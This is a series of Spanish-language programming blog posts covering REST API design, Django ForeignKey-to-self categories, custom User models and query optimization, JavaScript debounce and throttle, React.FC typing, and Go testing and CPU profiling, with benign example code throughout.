Las REST API no deberían incluir la extensión de los archivos

No uses la URI para especificar el tipo de recurso solicitado por medio de su extensión. Recuerda que una cosa es el recurso en si mismo y otra es su representación.

/recurso.txt❌
/recurso.json❌
/recurso.xml❌

¿Entonces como solicito un tipo de archivo en una API REST?

El cliente solicita el tipo de representación por medio de cabeceras (headers)

La representación del recurso a retornar dependerá de la cabecera o header Accept del cliente, de esta manera podremos devolver diferentes tipos de representaciones de un mismo recurso, en una misma URI.

GET /v1/recurso HTTP/1.1
Host: api.example.org
Accept: application/json

*GET /v1/recurso HTTP/1.1
Host: api.example.org
Accept: application/xml

¿Qué es HATEOAS y como se relaciona con las APIs REST?

Las siglas HATEOAS corresponden a Hypermedia As The Engine Of Applicaton State (Hypermedia como el motor del estado de la aplicación).

¿Qué es eso? Cuando entras en una página web, esta cuenta con enlaces internos hacia otras páginas del sitio web, generalmente relacionadas entre sí, ya sea video, audio, imágenes, de manera que la navegación sea más fluida.

Ejemplo de enlaces internos en una página web

Pues HATEOAS nos dice que nuestros clientes deberían de recibir una respuesta de la API desde donde puedan acceder a otros recursos relacionados por medio de hipervínculos.

Esto no necesariamente significa una URL’s; puede ser un file, un ftp u otros. Pero sí, probablemente para fines prácticos estarás usando URL’s la mayor parte del tiempo.

En otras palabras, nuestra API debe ser navegable en ubicación y acciones a partir de una respuesta

{
    "id": 1,
    "nombre": "Eduardo",
    "apellido": "Zepeda",
    "posts": [
        {
            "post": "http://api.example.org/post/1"
        },
        {
            "post": "http://api.example.org/post/2"
        }
    ]
}

¿Cómo documentar una API REST?

Toda API debería de estar documentada. La documentación debería ser ser clara y sencilla de entender. Afortunadamente ya existen soluciones que ahorran bastante trabajo, permitiéndote documentar los aspectos más básicos de tu API de manera automática.

OpenAPI (Antes Swagger)
ReDoc
Aglio

Considera implementarlas en tu proyecto.

Inclusive ya hay frameworks como FastAPI que incluyen la documentación de manera predeterminada en los proyectos.

Interfaz generada por Open API

¿Cómo testear una API REST?

Cada endpoint de tu API debería estar sometido a pruebas, asegúrate de que devuelvan los códigos de estado correcto para cada combinación de método HTTP y tipo de usuario (autenticado, anónimo, sin permisos, etc.). Para llevar a cabo las pruebas siempre puedes contar con soluciones clásicas como HTTPie o Curl.

Por otro lado, si quieres algo más visual, más amigable, y con mayor facilidad de uso considera el uso herramientas especializadas, tales como Postman, Insomnia o Hoppscotch.

Interfaz de Insomnia, herramienta para testear APIs

Para no extender tanto la entrada, la siguiente entrada tratará de algunas cuestiones más subjetivas del diseño y buenas prácticas de una API REST tales como: ¿cómo devolver el JSON correctamente? ¿Cuánto anidar una API? ¿Qué maneras existen para versionar una API?

Fuentes de referencia

Categorias en Django usando ForeignKey hacia self

Wed, 30 Mar 2022 00:00:00 +0000

La agrupación por categorías es bastante recurrente en aplicaciones web, desde películas, cursos o cualquier otro recurso que presente una relación jerárquica hacía otro objeto. En Django existen diferentes maneras de modelar estas relaciones. Probablemente, la primera que se te vendrá a la mente será crear un objeto categoria, y luego relacionarlo por medio de una ForeignKey con una subcategoria, pero si haces esto estarías cayendo en un error, existe una mejor manera.

¿Qué es una Foreign Key o clave foránea en Django?

En Django, una foreign key (clave foránea) es un campo utilizado para establecer una relación entre dos modelos en una base de datos relacional. Este campo sirve para crear una relación uno a muchos entre dos modelos, donde un modelo tiene una clave que apunta a otro modelo. La foreign key se utiliza como una referencia a la clave primaria de otro modelo.

from django.db import models

class Team(models.Model):
    name = models.CharField(max_length=100)


class Member(models.Model):
    name = models.CharField(max_length=200)
    # Un equipo tiene varios miembros
    # models.CASCADE le índica que al borrarse un equipo se borren sus miembros
    team = models.ForeignKey(Team, on_delete=models.CASCADE)

Una subcategoría o nivel por modelo

A lo que me refería con una categoría o nivel por modelo es a algo como esto:

# app/models.py
from django.db import models

class Category(models.Model):
    name = models.CharField(max_length=256)
    # otras propiedades

class SubCategory(models.Model):
    name = models.CharField(max_length=256)
    # otras propiedades
    category = models.ForeignKey(Category, related_name="subcategories", blank=True, null=True, on_delete=models.CASCADE)

Esta aproximación al problema de las jerarquias en Django luce bien a primera vista. La estructura que resultará será similar a esta:

El problema de usar un modelo por categoría

Este esquema funcionará en situaciones donde las jerarquias no se aniden muy profundo, pero ¿qué pasa si esas subcategorías tienen a su vez subcategorías?

Imagínate una categoría de películas de terror, con una subcategoría de fantasmas que, a su vez, cuenta con una subcategoría de fantasmas en casa y esta, a su vez, una subcategoría de tipo de final.

Pues, añadimos una clase SubSubCategoría ¿no? Pero… y si esas SubSubCategorías tienen a su vez subcategorías. ¿Ves a donde intento llegar?

Cada vez que necesites crear una subcategoría nueva tendrás que crear un nuevo modelo en el archivo models.py de tu aplicación. Y no solo eso, sino una nueva tabla que probablemente solo cuente con unos cuantos registros. ¿Existe una aproximación mejor al problema? El versátil ORM del Django Framework nos ofrece una solución bastante limpia.

ForeignKey al mismo modelo en Django

Para simplificar el problema de las categorías en Django, creamos un solo modelo, con una propiedad de tipo ForeignKey o llave foránea que apunte al mismo objeto; es decir, a self.

# app/models.py
from django.db import models


class Category(models.Model):
    name = models.CharField(max_length=256)
    parent = models.ForeignKey(
        "self",
        related_name="subcategories",
        on_delete=models.CASCADE,
        blank=True,
        null=True,
    )

De esta manera tendremos una estructura similar a un grafo, donde cada nodo apunta hacía a otro.

Este nuevo acomodo nos permite crear tantas subcategorías como querramos, sin la necesidad de crear nuevos modelos. Para ello, simplemente asignamos la propiedad parent a la instancia de clase Category a la que querramos que pertenezca.

Accediendo al mismo modelo en Django

Mira como funciona el ForeignKey hacía self en la práctica:

from my_app.models import Category
categoria_padre = Category.objects.create(name="Lenguajes de Programacion")
subcategoria = Category.objects.create(name="Python")
subcategoria.parent = categoria_padre
# Guardamos en la base de datos
subcategoria.save()

Te explico lo que sucede. Primero creamos una categoría principal, y una subcategoría. Posteriormente, asignamos la propiedad parent, de esta última, a la categoría principal. Y listo, guardamos.

Para finalizar, creemos una subsubcategoría para nuestra subcategoría

subsubcategoria = Category.objects.create(name="Django")
subsubcategoria.parent = subcategoria
subsubcategoria.save()

Observa como hemos creado otra subsubcategoría (llamada Django), que proviene del mismo modelo que usamos en las otras dos. Para asignarla a una categoría, igualamos su propiedad parent a la subcategoria que habiamos creado (llamada Python).

Como ya viste, un solo modelo nos permite agregar tantas subcategorías como querramos.

Acceder a las subcategorías

Si examinamos la categoría padre, que creamos previamente, observaremos que cuenta con una lista de subcategorías, entre las que ya se encuentra nuestro subcategoría (Llamada Python).

Podemos acceder a ella como haríamos con cualquier otra relación de muchos a uno.

categoria_padre.subcategories.all()
<QuerySet [<Category: Category object (2)>]>
categoria_padre.subcategories.all()[0].name
'Python'

Ir de las subcategorías a las categorías

En cambio, si queremos ir “en reversa” desde la categoría más anidada, hasta la menos anidada, simplemente la vamos recorriendo; accedemos al padre o parent, y luego al padre o parent de la instancia que sigue y así tantas anidaciones como necesitemos.

subsubcategoria.name
'Django'
subsubcategoria.parent.name
'Python'
subsubcategoria.parent.parent.name
'Lenguajes de Programacion'

Otros recursos

Documentación oficial sobre el ForeignKey hacia self

Explicación Interactiva de Debounce y Throttle

Wed, 23 Mar 2022 00:00:00 +0000

Hagamos una explicación interactiva de debounce vs throttle, donde puedas ver las diferencias entre estos patrones de diseño de una manera más visual.

Debounce y Throttle son usados para limitar la ejecución de funciones, generalmente son utilizados para restringir la cantidad de veces que un evento se dispara: eventos click, scroll, resize u otros. Los patrones no son exclusivos de Javascript; en una entrada anterior te explique como usar throttle para limitar la cantidad de requests que recibe el servidor nginx.

Ambos patrones generan una función que recibe un callback y un tiempo de espera o delay.

Debounce vs Throttle explicación interactiva

Vamos a usar un ejemplo interactivo para ver las diferencias entre Debounce vs Throttle, piensa en una granja virtual, en la que por cada vez que presionemos una tecla se añade un animal al corral, ahora, tenemos dos corrales, uno que funciona con debounce y otro con Throttle.

View this post on Instagram

Si escribes en la caja de texto verás como se comporta cada corral.

Debounce vs Throttle diferencias principales

Si tienes prisa, estas son las principales diferencias y aplicaciones de ambos patrones. Sin embargo, si quieres entenderlos en profundidad sigue leyendo.

Aspect	Debounce	Throttle
Definición	Ejecuta la función después de un retardo especificado desde la última vez que se disparó el evento.	Ejecuta la función a intervalos regulares, asegurando que no sea llamada más de una vez por período.
Tiempo de ejecución	Se retrasa hasta que el evento deja de dispararse durante un periodo determinado.	Se ejecuta inmediatamente o a intervalos fijos, independientemente de la frecuencia con la que se produzca el evento.
Ejemplo de Caso de Uso	Inputs donde se introducen datos: actualización de sugerencias sólo después de que el usuario deje de escribir por un momento.	Eventos de scroll: limitar la velocidad a la que se calcula la posición del scroll.

Qué es el Patrón Debounce?

El patrón de rebote o debounce pospone la ejecución de una función hasta que transcurra un determinado tiempo de espera.

Nuevos intentos de ejecutar la función cancelarán la ejecución pendiente y reiniciarán el tiempo de espera.

Explicación del patrón debounce

El código para debounce en javascript se ve así:

const debounce = (callback, tiempoDeEspera) => {
  let timeout 
  return (...args) => {
	clearTimeout(timeout)
	timeout = setTimeout(()=> callback(...args), tiempoDeEspera)
  }
}

Nuestra función debounce retorna a su vez una función, la cual recibirá cualquier número de argumentos (…args).

Esta función usa un closure para acceder a la variable timeout. ¿Qué es timeout? timeout es una función setTimeout, que programa la ejecución de nuestro callback para su posterior ejecución.

Pero ahora presta atención al clearTimeout. Cada vez que llamemos a la función debounce se eliminará cualquier función programada, por lo que la única manera de que se ejecute nuestro callback es esperar el tiempo que le pasamos como argumento.

¿Cómo funciona el patrón throttling?

El patrón throttling (o aceleración) establece un tiempo de espera durante el cual no se pueden llamar nuevamente más funciones. A diferencia del patrón bounce, el tiempo de espera no se reinicia si intentamos llamar nuevamente a la función.

Explicación del patrón throttling

El código para el patrón throttling en javascript se ve así.

const throttling = (callback, delay) => {
  let timeout
  return (...args) => {
    if (timeout !== undefined) {
      return
    }

    timeout = setTimeout(() => {
      timeout = undefined
    }, delay)

    return callback(...args)
  }
}

La función throttling retorna una función que tendrá dos vertientes que dependen del estado de timeout:

timeout está definido: esto significa que ya hay programada una función para su ejecución, en este caso la función no hace nada, es decir, bloquea la ejecución de nuevas funciones por medio de un return vacio.
timeout no está definido: si timeout no está definido, creamos un setTimeout y la asignamos a la variable timeout. Esta función, una vez transcurrido su tiempo de ejecución, se eliminará a si misma de la variable timeout. Posteriormente, y para finalizar, ejecutamos la función callback.

Otros recursos sobre debounce y throttling

¿Cómo personalizar el modelo User en Django?

Wed, 16 Mar 2022 00:00:00 +0000

En esta entrada te explico tres métodos para extender o personalizar el modelo User de Django, sin tener que reescribirlo desde cero, y manteniendo todas las funcionalidades para el manejo de de usuarios de Django.

Pero, antes de empezar, veamos de donde viene el modelo User de Django.

¿De donde viene el modelo User de Django?

El modelo User de Django hereda de AbstractUser que, a su vez, hereda de la clase AbstractBaseUser.

Si miras el código fuente de Django, verás que el modelo User que usas normalmente no tiene prácticamente ninguna funcionalidad propia, sino que hereda toda su funcionalidad de AbstractUser.

Captura de pantalla del código de Django version 4.0

Ya que sabemos lo anterior, podemos usar las clases AbstractUser y AbstractBaseUser para crear nuestros modelos de Usuario personalizados.

Este método es probablemente el más popular para extender el modelo User de Django. Lo anterior debido a que se conserva prácticamente toda la funcionalidad del modelo User original.

# usuarios/models.py
from django.contrib.auth.models import AbstractUser
from django.db import models

class UsuarioPersonalizado(AbstractUser):
    # Tus propiedades personalizadas
    creditos = models.PositiveIntegerField(verbose_name='creditos',
        default=0, 
        blank=True)

Tras crear una clase nueva que herede de AbstractUser, necesitamos decirle a Django que queremos usar este nuevo modelo en lugar del modelo de usuario por defecto.

Establecemos este comportamiento en nuestro archivo de configuraciones.

# settings.py
AUTH_USER_MODEL = 'usuarios.UsuarioPersonalizado'

Usar el modelo personalizado en las vistas de cuentas de Django

Si deseamos usar el sistema de plantillas de Django para generar automáticamente un formulario de registro, necesitaremos decirle a Django que use el nuevo modelo de usuario, para esto heredamos un nuevo formulario de la clase UserCreationForm, y le pasamos nuestro modelo personalizado, el cual podemos con el método get_user_model.

from django.contrib.auth import get_user_model
from django.contrib.auth.forms import UserCreationForm

User = get_user_model()

class FormularioRegistroUsuarioPersonalizado(UserCreationForm):
    class Meta:
        model = User
        fields = ['username', 'email']

Y es todo, podemos usarlo exactamente igual que si usaramos el modelo User que incluye Django.

El django admin no hashea los passwords

Cuando usamos un modelo de usuario personalizado, necesitamos decirle a Django que maneje los passwords con la funcionalidad del usuario por defecto

from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth import get_user_model

user = get_user_model()

class CustomUserAdmin(UserAdmin):
    pass

admin.site.register(user, CustomUserAdmin)

Ahora el panel de administración se comportará exactamente igual que lo haría con el usuario predeterminado de Django.

¿Cómo luce internamente AbstractUser?

Observa como la clase AbstractUser hereda de _AbstractBaseUse_r y tiene múltiples campos disponibles para perfilar un usuario. Además, no puede instanciarse directamente, por ser una clase abstracta.

Captura de pantalla del código de AbstractUser de Django version 4.0

Pasemos al segundo método.

¿Cómo cambiar el campo de usuario para autenticarse?

Si observas el código anterior, hay una propiedad en mayúsculas llamada USERNAME_FIELD, ahí puedes especificar otro campo para que funcione como el usuario. Como no quieres que haya dos usuarios que se identifiquen de la misma manera ese campo tiene que ser marcado como único. Además de eso tienes que modificar el object manager, el código es algo extenso por lo que no lo colocaré aquí

class UsuarioPersonalizado(AbstractUser):
    identificador = models.CharField(max_length=40, unique=True)
    # ...
    USERNAME_FIELD = 'identificador'

Modifica el Django user model heredando de la subclase AbstractBaseUser

Esta clase, como puedes apreciar en la imagen anterior, es la clase que se usa de base para crear el AbstractUser. Su funcionamiento es el mínimo y solo posee 3 campos:

password
last_login
is_active

Solo cuenta con la función de autenticación. Y tienes que indicarle que campo se usará como username, para autenticar al usuario.

Este método se suele usar para personalizar completamente el modelo user o cuando no necesitamos prácticamente ningún campo extra.

# usuarios/models.py
from django.contrib.auth.base_user import AbstractBaseUser
from django.db import models

class UsuarioPersonalizado(AbstractBaseUser):
    email = models.EmailField(verbose_name='emails', unique=True, max_length=255)
    creditos = models.PositiveIntegerField(verbose_name='creditos',
        default=0, 
        blank=True)
    USERNAME_FIELD='email'
    REQUIRED_FIELDS = []

Recuerda indicarle a Django que use tu modelo personalizado en lugar del predeterminado.

# settings.py
AUTH_USER_MODEL = 'usuarios.UsuarioPersonalizado'

¿Cómo luce internamente AbstractBaseUser?

La siguiente imagen es una captura de pantalla directo del código de Django en su versión 4.0

Como puedes ver, solo cuenta con los 3 campos mencionados, hereda directamente de models.Model y su clase Meta le indica a Python que es un modelo abstracto; no puedes crear instancias directamente de este.

Captura de pantalla del código de AbstractBaseUser de Django version 4.0

Ahora veamos la tercera manera de extender el model User de Django.

Extiende el Django user model creando un perfil para el modelo User

Otra manera de extender el modelo user es crear otro modelo que sirva como un contenedor de los campos extras y luego relacionarlo por un campo OneToOneField con el modelo que recibe por defecto la configuración de Django.

Esta aproximación es ideal si somos el creador de un paquete que necesite personalizar el modelo User del proyecto para funcionar, pero sin modificarlo directamente.

También es útil cuando necesitamos varios tipos de usuarios o perfiles diferentes, con campos distintos entre ellos.

Para crear un perfil de esta manera basta con declarar un campo que relacione nuestro nuevo modelo con el modelo User, por medio de un OneToOneField.

from django.conf import settings
class Perfil(models.Model):
    # otros campos
    user = models.OneToOneField(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)

Y para acceder a nuestro usuario, accedemos al campo que lo relaciona con el modelo que creamos.

usuario = User.objects.get(username='usuario')
usuario.perfil

Otros recursos

Diferencias entre select_related y prefetch_related en Django

Wed, 09 Mar 2022 00:00:00 +0000

Los métodos de Django, select_related y prefetch_related, se usan para reducir el número de queries que se realizan a la base de datos. Lo anterior se traduce en tiempo de respuesta para cada vista. Además, usar estos métodos es una de las acciones a implementar para mejorar el rendimiento de una aplicación de Django.

Solo ten en mente que hay mejores cosas que optimizar en tu aplicación que obsesionarte con su rendimiento , pero sí insistes considera echarle un vistazo a aggregate y annotate, demás de tener cuidado con usar este último pues las subqueries pueden volver tus queries increíblemente lentas.

Diferencias entre select_related y prefetch_related resumidas

	select_related	prefetch_related
Relaciones	Foreign key o One to One	Many to Many
Número de queries	1	2
Unión de los objetos	Directo con SQL	Usando Python

django select_related

El método select_related se usa para seguir una relación de tipo ForeignKey o OneToOneField hacia los respectivos objetos a los que apunta y obtenerlos.

Al usar select_related tendremos una consulta más larga, sin embargo, la ventaja consiste en que ya no será necesario acceder nuevamente a la base de datos para obtener los objetos del modelo relacionado.

Esquema simplificado del funcionamiento de select_related

Considera este ejemplo:

from django.db import models

class Principal(models.Model):
    name = models.CharField(max_length=256)


class Derivado(models.Model):
    name = models.CharField(max_length=256)
    principal = models.ForeignKey(
        "Principal", related_name="derivados", on_delete=models.CASCADE
    )

Si intentamos acceder al objeto al que apunta la relación Foreign Key, se generará una nueva consulta a la base de datos. select_related evita esa consulta extra por cada objeto.

{% for object in queryset %}
    <p>{{object.name}}</p>
    <small>{{object.principal.name}}</small>
{% endfor %}

Por ejemplo, si tenemos tres objetos Derivados relacionados a un único objeto principal:

Una consulta principal que obtiene todos los objetos Derivado
Tres consultas, exactamente iguales, una para cada vez que accedemos al objeto principal a partir del objeto Derivado.

Uso en una consulta

Para usar select_related lo llamamos a partir de nuestra consulta, pasándole el nombre del campo que corresponde a nuestra relación con el otro modelo.

Derivado.objects.select_related("principal")

Funcionamiento interno de select_related

¿Cómo funciona select_related internamente?, select_related reemplaza las consultas múltiples que se realizan por un único INNER JOIN a nivel de la base de datos:

SELECT my_app_derivado.id,
       my_app_derivado.name,
       my_app_derivado.principal_id
  FROM my_app_derivado

...

De esta manera se reducen las múltiples consultas SQL a una sola consulta más larga.

SELECT my_app_derivado.id,
       my_app_derivado.name,
       my_app_derivado.principal_id,
       my_app_principal.id,
       my_app_principal.name
  FROM my_app_derivado
 INNER JOIN my_app_principal
    ON (my_app_derivado.principal_id = my_app_principal.id)

prefetch_related

Si el método select_related recupera un único objeto a partir de un campo de relación única, el método prefetch_related se usa cuando tenemos una relación múltiple con otro modelo, es decir, una relación de tipo ManyToMany o un ForeignKey inverso.

Esquema simplificado del funcionamiento de prefetch_related

Considera este ejemplo, nota el campo ManyToManyField hacia el modelo Principal.

from django.db import models

class Principal(models.Model):
    name = models.CharField(max_length=256)


class MultiplesPrincipales(models.Model):
    name = models.CharField(max_length=256)
    principales = models.ManyToManyField("Principal", related_name="multiples")

Si accedemos al campo que representa a la relación múltiple de nuestro objeto, sin usar prefetch_related, estaremos impactando la base de datos con una nueva consulta.

{% for object in queryset %}
    <p>{{object.name}}</p>
    {% for principal in object.principales.all %}
      <!-- Una nueva consulta cada vez -->
      <p><small>{{principal.name}}</small></p>
    {% endfor %}
{% endfor %}

Uso en una consulta

Para usar el método prefetch_related llámalo al final de nuestra consulta, eligiendo aquel campo que represente la relación de muchos a muchos en nuestro objeto.

queryset = MultiplesPrincipales.objects.prefetch_related("principales")

Funcionamiento interno de prefetch_related

¿Cómo funciona internamente prefecth_related? El método prefetch_related reemplaza las múltiples consultas SQL por solo 2 consultas SQL: una para la query principal y la otra para los objetos relacionados, posteriormente, unirá los datos usando Python.

SELECT my_app_principal.id,
       my_app_principal.name
  FROM my_app_principal
 INNER JOIN my_app_multiplesprincipales_principales
    ON (my_app_principal.id = my_app_multiplesprincipales_principales.principal_id)
 WHERE my_app_multiplesprincipales_principales.multiplesprincipales_id = '1'
...

Las múltiples consultas anteriores quedan reducidas a solo 2 consultas SQL.

SELECT my_app_multiplesprincipales.id,
       my_app_multiplesprincipales.name
  FROM my_app_multiplesprincipales

SELECT (my_app_multiplesprincipales_principales.multiplesprincipales_id) AS _prefetch_related_val_multiplesprincipales_id,
       my_app_principal.id,
       my_app_principal.name
  FROM my_app_principal
 INNER JOIN my_app_multiplesprincipales_principales
    ON (my_app_principal.id = my_app_multiplesprincipales_principales.principal_id)
 WHERE my_app_multiplesprincipales_principales.multiplesprincipales_id IN ('1', '2', '3', '4')

Otros recursos relacionados

¿Por qué usar React.FC podria ser una mala practica?

Wed, 23 Feb 2022 00:00:00 +0000

Cuando usamos Typescript con React y queremos pasarle un children como prop a alguno de nuestros componentes , necesitamos indicar el type. Generalmente se suele usar el type React.FC, el cual es el nombre abreviado de React.FunctionComponent. Con esto el mensaje de Typescript que nos advierte de un children con tipo any desaparecerá.

View this post on Instagram

const Componente: React.FC = ({ children }) => {
    return (<div>{children}</div>)
}

Además de permitirnos trabajar con children, React.FC también provoca un error si intentamos devolver undefined desde nuestro componente.

const Componente: React.FC = ({ children }) => {
    // El tipo '() => undefined' no se puede asignar al tipo 'FC<{}>'.
    return undefined
}

export default Componente

Como puedes ver, es bastante cómodo usarlo, pero algunas personas no están de acuerdo en su uso.

React.FC ¿más desventajas que ventajas?

¿Dónde está el problema? Pues algunos desarrolladores afirman que React.FC puede traer más desventajas que ventajas, incluso hay una discusión en github (enlace al final), en la que se debate si es conveniente remover uno de los ejemplos en la documentación que lo usa.

El usuario que inició esta discusión considera que el hecho de que React.FC sea tan popular es debido a que su presencia en la documentación lo posiciona como la manera predeterminada de manejar los componentes de React con Typescript.

Te explico a continuación algunas de las razones que se exponen para afirmar que React.FC aporta más desventajas que ventajas.

React.FC no nos avisa de children sin usar

React.FC no siempre es la manera más explícita de indicarle a typescript que un componente recibe children como parte de sus props.

Imagínate que le pasamos un children al componente, pero no lo usamos.

import Componente from './Componente';

function App() {
  return (
    <Componente>Soy el children</Componente>
  );
}

export default App;

Nuestro componente sí que recibe el children como un prop, pero el type React.FC apacigua a Typescript y evita que este nos devuelva algún error, incluso aunque no lo estemos usando.

const Componente: React.FC = () => {
    return (
        <div>No soy el children que recibe Componente</div>
    )
}

export default Componente

O, para un caso contrario; imagína que no deseamos que nuestro componente reciba un children como uno de sus props, sin embargo, como estamos usando React.FC no obtendremos ningún error.

import Componente from './Componente';

function App() {
  return (
    <Componente><div>Yo no debería de estar aquí</div></Componente>
  );
}

export default App;

El patrón de subcomponentes en React se complica

El patrón componente como namespace es bastante sencillo de crear sin usar React.FC, pero con React.FC puede complicarse bastante.

¿No sabes que es? Piensa en un patrón que te permite agrupar componentes dentro de un cierto padre, que funciona como un namespace para nuestros componentes hijos; similar a como funcionaría el namespace std de C++.

<Namespace>
	<Namespace.Componente />
</Namespace>

En su forma más sencilla, omitiendo React.FC se vería algo así:

const Namespace = (props: PropsDelNamespace) => {/* ... */}
Namespace.Componente = (props: PropsDelComponente) => { /*...*/ }

Pero si optamos por usar React.FC el código se complicaría y la legibilidad disminuiría un poco.

const  Namespace: React.FC<PropsDelNamespace> & { Componente: React.FC<PropsDelComponente> } = (props) => {/* ... */ }
Namespace.Componente = (props) => { /*...*/ }

¿Qué deberíamos usar en lugar de React.FC?

El núcleo de las críticas se basta en que React.FC añade el children de manera implícita, yendo contra la naturaleza explícita de typescript.

Como usar el lenguaje de programación Go para su compilador.

Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.

Sin embargo, la discusión de la que te hablo es solo eso, una discusión, no está escrita en piedra, puede que tú consideres que es mejor sacrificar un poco de legibilidad en favor de la comodidad o, por el contrario, puede que creas que es importante ser explícito cuando se trabaja con typescript.

Si es el caso, considera que siempre puedes declarar el children como un prop de manera explícita, tal como lo harías con cualquier otro prop. Y de la misma manera, puedes declarar el valor de retorno de tu componente como un elemento de tipo JSX.

interface propsWithChildren {
    children: React.ReactNode
}


const Componente = ({ children }: propsWithChildren): JSX.Element => {
    return (
        <div>{children}</div>
    )
}

export default Componente

Typescript no debería de advertirte sobre ningún error con esta aproximación al problema.

Otros recursos sobre el tema

Aquí abajo te dejo los enlaces a la discusión original y algunos posts al respecto de este tema.

View this post on Instagram

Go: profiling o perfilado básico del uso del CPU

Wed, 16 Feb 2022 00:00:00 +0000

Además del testing de pruebas unitarias y la medición del coverage en go , este lenguaje de programación es capaz de realizar un profiling (o perfilar) la eficiencia del código, analizándolo de manera muy detallada. Esto es bastante útil para encontrar cuellos de botella o partes del código muy costosas, que se llaman numerosas veces o cuyo rendimiento pueden mejorarse.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

¿Cómo funciona internamente el profiling de Go en GNU/Linux?

GNU/Linux, más específicamente GNU, tiene una señal de alarma llamada SIGPROF , esta señal avisa cuando un contador de tiempo termina de medir el uso del CPU e interrumpe la ejecución del código.

En el profiling de Go, la señal SIGPROF se programa para ser llamada cada 10 ms. Cada vez que se invoca esta señal, se examina la instrucción actual del contador de programa (PC) y se rastrea hacia atrás a la secuencia de instrucciones que la llamaron. El resultado del proceso anterior es un informe de los elementos en la pila de ejecución , conocido como stack trace o seguimiento de pila.

El proceso de profiling va a ralentizar la ejecución del código, pues se interrumpe cada 10ms para ver que se está ejecutando. Como seguramente ya dedujiste, si una función se encuentra múltiples veces en los stack traces que se generan, tras cada señal SIGPROF, significa que ha durado mucho tiempo ejecutándose.

Al finalizar el profiler la herramienta pprof de go organiza los datos para que puedan representarse de una manera más amigable para el usuario.

Profiling o perfilado de CPU en go

Para esta etrada voy a usar el clásico fibonacci por recursión para demostrar las capacidades de profiling de go. Estoy usando go version go1.15.15 linux/amd64.

func Fibonacci(n int) int {
	if n <= 1 {
		return n
	}
	return (Fibonacci(n-1) + Fibonacci(n-2))
}

Para el testing en go, justo como te expliqué en la entrada anterior, usaremos un array de structs para manejar los diferentes casos.

func TestFibonacci(t *testing.T) {
	tables := []struct {
		n    int
		fibo int
	}{
		{0, 0},
		{1, 1},
		{2, 1},
		{15, 610},
		{17, 1597},
		{40, 102334155},
	}

	for _, table := range tables {
		result := Fibonacci(table.n)
		if result != table.fibo {
			t.Errorf("Fibonacci incorrecta, esperabamos %d, pero obtubimos %d", table.fibo, result)
		}
	}
}

Obteniendo la información del profiling

Igual que hicimos para ver el coverage en el testing de go , usamos un flag para crear un archivo con la información del profiling en binario, este archivo no lo podemos visualizar directamente.

go test -cpuprofile=cpu.out

PASS
ok      _/home/eduardo/Programacion/goTesting/testing   0.813s

Pero podrá ser usado por otras herramientas para visualizarlo de manera más humana.

Visualizar resultados del profiling

Para ver el resumen del uso de cpu usamos tool pprof pasándole como argumento el archivo que contiene los datos del profiling.

go tool pprof cpu.out

File: testing.test
Type: cpu
Time: Feb 10, 2022 at 1:06pm (CST)
Duration: 802.18ms, Total samples = 690ms (86.02%)
Entering interactive mode (type "help" for commands, "o" for options)

Tras ejecutar el comando anterior estaremos dentro de una terminal. Si ejecutamos top veremos el comportamiento de nuestro código.

Mira como Fibonacci ocupa casi la totalidad del tiempo usado.

(pprof) top

File: testing.test
Type: cpu
Time: Feb 10, 2022 at 1:06pm (CST)
Duration: 802.18ms, Total samples = 690ms (86.02%)
Entering interactive mode (type "help" for commands, "o" for options)
(pprof) top
Showing nodes accounting for 690ms, 100% of 690ms total
      flat  flat%   sum%        cum   cum%
     680ms 98.55% 98.55%      680ms 98.55%  _/home/eduardo/Programacion/goTesting/testing.Fibonacci
      10ms  1.45%   100%       10ms  1.45%  runtime.epollwait
         0     0%   100%      680ms 98.55%  _/home/eduardo/Programacion/goTesting/testing.TestFibonacci
         0     0%   100%       10ms  1.45%  runtime.findrunnable
         0     0%   100%       10ms  1.45%  runtime.mcall
         0     0%   100%       10ms  1.45%  runtime.netpoll
         0     0%   100%       10ms  1.45%  runtime.park_m
         0     0%   100%       10ms  1.45%  runtime.schedule
         0     0%   100%      680ms 98.55%  testing.tRunner

Dentro de la terminal pprof es posible inspeccionar el tiempo promedio de ejecución de cada línea de una función, usando:

list <nombre_funcion>

Tras ejecutar el comando se generará una lista donde podemos ver cada función desglosada linea por linea, junto con su impacto.

De seguro ya observaste que la mayor parte del tiempo la consume la parte recursiva de Fibonacci.

Exportación de resultados

Además de resultados en consola, también podemos visualizar los resultados, de manera más entendible usando el comando web, que crea un pequeño esquema accesible desde el navegador.

Cada caja representa una función individual y las lineas indican el orden en el que unas funciones llaman a las otras.

Como parámetro opcional podemos pasarle el nombre de una función y go filtrará los resultados.

(pprof) web <funcion>

El esquema generado por el comando web puede exportarse a un pdf con el comando pdf.

(pprof) pdf

Otros recursos sobre profiling

Go: testing básico y coverage

Wed, 09 Feb 2022 00:00:00 +0000

Go ya cuenta con un modulo de testing en su librería estándar que está lista para nuestro uso, solo hace falta importarlo y usarlo.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

Preparación del testing en go

Para que se lleven a cabo los tests necesitamos:

Un archivo que termine en _test.go
Correr el comando go test

├── go.mod
├── main.go
└── testing
    ├── main.go
    └── main_test.go

1 directory, 5 files

Considera que, si vas a asignarle un nombre a tu paquete , jamás debeser nombrarlo testing. ¿Por qué? si lo haces, go confungirá su paquete testing con el tuyo, devolviéndote esos resultados incorrectos.

Para crear los tests, dentro del archivo testing/main_test.go, necesitamos una función que reciba de argumento nuestro paquete de testing con el carácter de desestructuración.

Compararemos el resultado usando un if, o lo que querramos y, si el test falla, llamaremos al método Errorf del modulo de testing.

package main

import "testing"

func TestDivision(t *testing.T) {
    total := Division(10, 2)
    if total != 5 {
        t.Errorf("División incorrecta, obtuvimos %d pero se esperaba %d", total, 5)
    }
}

No es necesario que las funciones a probar se encuentren dentro del archivo de testing, en este caso las coloqué dentro de testing/main.go.

package main

func Division(a int, b int) int {
	return a / b
}

Ejecutar los tests

Para ejecutar los tests necesitamos encontrarnos dentro del directorio donde se encuentran nuestros archivos terminados en _test.go y correr el comando go test. Si el test aprueba obtendremos la leyenda PASS.

cd testing/
go test

PASS
ok      main/testing    0.001s

Por otro lado, si los tests fallan se imprimirá la palabra FAIL en pantalla:

--- FAIL: TestDivision (0.00s)
